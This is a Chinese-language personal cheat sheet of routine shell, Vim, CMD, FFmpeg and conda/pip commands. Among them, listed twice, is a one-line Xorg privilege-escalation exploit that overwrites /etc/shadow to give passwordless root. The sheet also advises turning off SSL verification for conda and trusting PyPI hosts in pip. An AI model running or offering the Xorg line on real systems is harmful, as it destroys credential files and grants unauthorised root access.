本文主要记录一些工作中常用的命令。以便查询使用。
| Python
| Shell
| VIM
| CMD
| 其他
Python
- 获得当前运行脚本的路径,只在脚本中有效,直接在解释器中运行会报错。
1 | import os |
下面的语句可以在解释器中运行
1 | import os, sys |
- 获取当前时间以及本地时区
1 | from datetime import datetime |
- 获取毫秒级时间
1 | import time |
Shell
-
nvidia-smi 实时刷新并高亮显示状态
watch -n 1 -d nvidia-smi
-
创建和删除(只删除链接)软连接
ln -s dir_ori dir_dest_link
rm link
-
更改文件夹所属用户和组,
-R
包含内部子文件夹和子文件
chown -R taoxuan:taoxuan /data/taoxuan/
-
压缩文件夹
tar -czvf /tmp/etc.tar.gz /etc
<==打包后,以 gzip 压缩
如需将多个文件或文件夹压缩到同一个压缩包,在后面不停追加就可以
zip -r -y file.zip path/to/dir1 path/to/dir2 path/to/file
-y
是设定不拷贝软链接所指向的内容 -
解压 文件
unzip file.zip -d destination_folder
tar -xvzf community_images.tar.gz
unrar e tecmint.rar /home/
-
ls
命令按后缀的字母顺序排序
ll -X
-
查询进程号
ps -aux | grep java
-
拷贝一个大目录,但又不想拷贝其中的一个子目录 (排除
test/
下的test1
,test2
, 拷贝到/home/copydir
下,注,是将test/
下的内容拷贝到copydir/
, 不包括test/
文件夹,因此需自己在copydir/
下新建一个test/
文件夹)
cd /home/study/test
rsync -av --exclude test1/ --exclude test2/ ../test/ /home/copydir
-
删除某个用户的所有 python 进程
ps aux | grep taoxuan | grep python | awk '{print $2}' | xargs kill -9
-
合并
file1.txt
,file2.txt
两个文件
cat file1.txt file2.txt > file.txt
-
将
file1.txt
追加到file2.txt
的末尾
cat file1.txt >> file2.txt
-
打乱文件的每一行
shuf inputfile.txt -o outputfile.txt
-
使用grep完成两个文件内容的匹配
grep -wf a.txt b.txt
获取a.txt
,b.txt
中相同的行
grep -wvf a.txt b.txt
获取b.txt
中存在,a.txt
中不存在的行 -
grep OR 匹配
grep 'pattern1\|pattern2' filename
1 | $ grep 'Tech\|Sales' employee.txt |
-
X org 权限漏洞
cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su
-
ssh 隧道以访问服务器web端口。将服务器
6006
端口映射到本地16006
端口。
ssh -L 16006:127.0.0.1:6006 olivier@my_server_ip
-
查找某个文件
find / -name "file.txt"
-
改变
VKFCM/
文件夹的 owner 和 group 为taoxuan
sudo chwon -R taoxuan:taoxuan VKFCM/
-
批量将
.jpeg
文件重命名为.jpg
rename .jpeg .jpg *.jpeg
-
批量文件名字符串替换 ( 所有jpg文件名中
nonflood
替换为normal
)
rename nonflood normal *.jpg
-
输出重定向
if you want to have bothstderr
and output displayed on the console and in a file use this:
SomeCommand 2>&1 | tee SomeFile.txt
(If you want the output only, drop the2
above) -
方便的升级 gcc, g++ 的方法
https://www.cnblogs.com/dj0325/p/8481092.html
如果由于网络问题,上述帖子中的yum install pkg_name
安装不成功,可以自己去 centos 的镜像网站上将需要的 rpm 包下载到本地后安装。地址为 centos 镜像 -
将一个文件中记录的路径文件移动到另一个路径
for file in $(cat ~/Desktop/files.txt); do mv "$file" ~/newfolder; done
-
将一个文件夹中的大量文件拷贝到另一个文件夹 (由于文件数量较大,直接用cp拷贝会报# “Argument list too long” 错误)
find test/ -name "*.jpg" | xargs -i cp {} train
或
find test/ -name "*.jpg" -exec cp {} train \;
-
shell 数字加减
1 | num1=1 |
SCP 命令
-
Copy file from a remote host to local host SCP example:
scp username@from_host:file.txt /local/directory/
-
Copy file from local host to a remote host SCP example:
scp file.txt username@to_host:/remote/directory/
-
Copy directory from a remote host to local host SCP example:
scp -r username@from_host:/rnaemote/directory/ /local/directory/
-
Copy directory from local host to a remote hos SCP example:
scp -r /local/directory/ username@to_host:/remote/directory/
-
Copy file from remote host to remote host SCP example:
scp username@from_host:/remote/directory/file.txt username@to_host:/remote/directory/
unzip
文件
unzip file.zip -d destination_folder
-
ls
命令按后缀的字母顺序排序
ll -X
-
查询进程号
ps -aux | grep java
-
合并
file1.txt
,file2.txt
两个文件
cat file1.txt file2.txt > file.txt
-
将
file1.txt
追加到file2.txt
的末尾
cat file1.txt >> file2.txt
-
打乱文件的每一行
shuf inputfile.txt -o outputfile.txt
-
X org 权限漏洞
cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su
VIM
-
vim 中将空格替换成换行符
:%s/ /\r/g
,详情
:s/vivian/sky/
替换当前行第一个 vivian 为 sky:s/vivian/sky/g
替换当前行所有 vivian 为 sky:%s/.*]//g
将每一行]
之前的内容替换为空:n,$s/vivian/sky/
替换第 n 行开始到最后一行中每一行的第一个 vivian 为 sky:n,$s/vivian/sky/g
替换第 n 行开始到最后一行中每一行所有 vivian 为 skyn
为数字,若 n 为.
,表示从当前行开始到最后一行:%s/\s//g
将所有的tab
或空格
替换为空 -
vim 中按下
*
将搜索当前光标所在单词。 -
与
date
相关操作。+
后面不能有空格
1 | $ date +%Y_%m_%d_%H_%M_%S |
>>
缩进当前行,5>>
缩进5行:s/^/#
将当前行的行首替换为#
:g/xxx/d
,删除包含xxx的行:v/xxx/d
,删除不含xxx的行:%s/xxx//gn
,统计xxx个数,n表示只报告匹配的个数而不进行实际的替换。
CMD
- 在 cmd 中实现 linux 下的
which
功能,可用where
替代。 - bat 文件在后台运行
bat里有隐藏窗口的命令,很简单,只需要在代码头部加一段代码就可以了。
1 | @echo off |
- 将程序输出到 stdout 和 file. 在 powershell 中:
.\something.exe | tee test.txt
- 批量重命名 (将所有后缀名为
.jpeg
的图片改为. jpg
)
ren *.jpeg *.jpg
其他
FFmpeg 相关
- ffmpeg 抽帧,
-q:v 2
决定每一帧的质量,参数范围2-31
,31
为最差质量
1 | ffmpeg -ss 00:05:30 -to 00:42:30 -i video.avi -vf "scale=320:240,fps=25" -q:v 2 frames/c01_%04d.jpeg |
- ffmpeg 切割视频
1 | ffmpeg -ss [start] -i in.mp4 -t [duration] -c copy out.mp4 |
- ffmpeg 拼接视频且不损失质量
- create
input.txt
:
1 | file '/home/jenia/input1.mp4' |
- use command
1 | ffmpeg -f concat -i input.txt -codec copy output.mp4 |
- ffmpeg 压缩 avi 和 mp4 视频
1 | ffmpeg -i input.avi -vcodec msmpeg4v2 output.avi |
- tensorflow 测试与显卡通信
1 | sess = tf.Session(config=tf.ConfigProto(log_device_placement=True)) |
Conda, Pip, Yum 相关
- 由于使用
conda install pkg_name -c channel_name
安装某个库时常常连接不上,因此将库文件下载到本地后,使用conda
命令安装本地tar.bz2
包。
下载地址:
https://repo.anaconda.com/pkgs/main/
anaconda.org 后面可接channel名,即 -c 后面的部分。
此外,当使用 conda 安装 python 包出现 ssl 错误时,执行
conda config --set ssl_verify false
- 使用
pip install pkg_name
时会报跟SSL certificate
有关的错,貌似是因为连接不上下载文件的网站。
1 | pip install pkg_name --trusted-host files.pythonhosted.org --trusted-host pypi.org |